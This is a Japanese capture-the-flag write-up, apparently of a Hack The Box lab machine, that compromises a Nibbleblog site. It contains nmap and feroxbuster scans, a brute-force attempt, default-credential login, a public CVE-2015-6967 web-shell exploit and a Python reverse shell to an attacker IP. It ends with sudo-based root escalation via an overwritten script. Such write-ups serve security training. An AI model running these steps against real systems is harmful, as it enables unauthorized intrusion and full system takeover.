大まかに
- Nmap
- Dirb
- ブラウザーの開発者ツール
- Web Shell配置
- Reverse shell
- root esc
Nmap
# sudo nmap -sC -sV -O -T4 -p- -vv -oN nmap-tcp.log 10.10.10.75
- 実行結果
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4f8ade8f80477decf150d630a187e49 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH | 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc= | 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=5/16%OT=22%CT=1%CU=33679%PV=Y%DS=2%DC=I%G=Y%TM=64630A7 OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=F4%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)SEQ( OS:SP=F3%GCD=1%ISR=10E%TI=Z%CI=I%TS=8)SEQ(SP=FF%GCD=1%ISR=10C%TI=Z%TS=8)OPS OS:(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST1 OS:1NW7%O6=M53AST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S)
Dirb
# feroxbuster -k -u http://10.10.10.75/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -o ferox_medium.log
特に見つからなかった。
ブラウザーの開発者ツール
/nibbleblogを発見
アクセスしてみる。 URLからCMSっぽいな~とこの時思った。
wordpressみたいなadminページみたいなのがないかを探した。 /adminで調べたところWebページを構成しているディレクトリを見つけた。
adminで検索をかけた際にディレクトリが表示されてしまうということは.phpまでつけなければいけないのかと思いやってみたところ、その通りだった。
hydraで認証バイパスを試したところ数回施行された後に接続が遮断された。 ということは手動で行わなければならないということか。と思い、デフォルトクレデンシャルをGoogleで調べた。
以下のGitに記載のある資格情報で試したところうまくいった。 ※その前にテキストで一通りのパスワードリストを使いやってみたがダメだった。
CMSログイン これを行う前に今回使用されているCMSでExploitを探していたがバージョンがわからずできなかった。 なのでここでCMSのバージョン特定をしようと試みた。
以下のURLでバージョンの特定ができた。
http://10.10.10.75/nibbleblog/admin.php?controller=settings&action=general
Web shell配置
- エクスプロイトをダウンロードする。
# git clone https://github.com/0xkasra/CVE-2015-6967.git
- エクスプロイトを実行
# python exploit.py http://10.10.10.75 admin nibbles
Reverse shell
以下の様に自分のマシンではnc -lnvp 4444でリッスンし、Web shellでは以下のコマンド入力する。
# export RHOST="10.10.16.10";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
root Esc
# sudo -l ▼実行結果 <ml/nibbleblog/content/private/plugins/my_image$ sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
- 以下のコマンドでrootへ
# mkdir -p /home/nibbler/personal/stuff/ # cd /home/nibbler/personal/stuff/ # echo '/bin/bash -p' > ./monitor.sh # chmod +x ./monitor.sh # sudo ./monitor.sh
以上